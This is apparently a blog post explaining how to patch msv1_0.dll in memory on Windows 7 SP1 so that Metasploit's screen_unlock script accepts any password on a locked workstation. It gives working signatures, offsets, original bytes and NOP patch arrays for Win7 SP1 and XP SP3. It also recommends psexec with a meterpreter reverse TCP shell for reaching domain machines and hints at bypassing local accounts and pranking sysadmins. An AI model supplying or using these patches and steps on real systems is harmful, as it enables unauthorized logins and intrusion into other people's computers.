Unlocking Windows 7 SP1 locked screen remotely

Those concerned know about msv1_0.dll  function MsvpPasswordValidate in Windows operating systems. A useful script for unlocking locked workstation in Metasploit Meterpreter is called screen_unlock.rb. It works well but the signatures and offsets are a little outdated as they are missing Win7 SP1 and latest XP SP3 msv1_0.dll security update.

As Microsoft ships newer versions of msv1_0.dll we need to manually search using a debugger for offsets and signatures as the old ones wont work anymore.  In this article I will explain how to do it using the freeware IDA  disassembler v. 5.0 and the msv1_0.dll from Win7 SP1 32bit.

For 64Bit Windows 7 the approach is the same, I dont have access to it at this moment.

Okay so here we are stuck with Win7 SP1 with all updates…. and screen_unlock script bails out that : found signature does not match.

Well time to get our hands dirty and do some disassembly, its not as hard as it looks.

Load IDA and create new “PE Dynamic Library” Dissasembly Database, load c:\windows\system32\msv1_0.dll

Once loaded we need to search for MsvpPasswordValidate function signature :

Take note on the Start address its: 6D48E26D , from this we know that the MsvpPasswordValidate signature offset is 0xe26d

Next we need to verify the HEX signature of this function, so switch to hex view in IDA and see :

The signature is 8BFF558BEC81EC88000000A1 which pretty stays the same since Vista SP0.

Okay now the hard part, we need to find a function that checks the user input password and compares the hashes in memory. This function is called RtlCompareMemory and we need to look for this pattern and stay within the 6D48Exxx offset range. There are tons of obfuscations in there so look towards the end of the map.

This is the pattern we are looking for ! What happens here is this compares the two password hashes and if they don’t match it jumps to incorrect password return value. We need to short-circuit the whole process and replace “jnz   loc_6D49776B” with our bypass patch which will take us directly to the end of the function with NOP so that we can use any password.

So here we have this in HEX

So take a note of the value 0F8550940000 this is our original_code  and its offset at 6D48E315  is  0xe315

the NOP in hex would be   909090909090 so this would be our patch code

So we add a new array into the existing screen_unlock.rb  like so

{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xe26d, :orig_code => "0f8550940000", :patch => "909090909090", :patchoffset => 0xe315, :os => /Windows 7.*Service Pack 1/ },

For the lazy ones here is the current XP SP3 unlock array ;)

{ :sig => "8bff558bec83ec50a1", :sigoffset => 0x97d3, :orig_code => "7511", :patch => "9090", :patchoffset => 0x9865, :os => /Windows XP.*Service Pack 3/ },

So if you need to unlock a locked Win7 computer on a Windows Domain,  Metasploit and /exploit/windows/psexec module  are your friends.  Just select the meterpreter reverse tcp and once you have a shell on the remote system, run the script. Remember that once the memory is patched and the the user who locked the screen is part of a domain you need to immediately revert the patching  by issuing the ” screen_unlock -r” command after you log into Win7 with ANY password, or the domain account will be locked after a while. Also any local account can be bypassed with ANY password…. hint hint …..

Its could be used as a nice Magic trick on some sysadmins … think of a password my friend and set your account to this password … now abracadabra … I know it !  Oh well..whatever.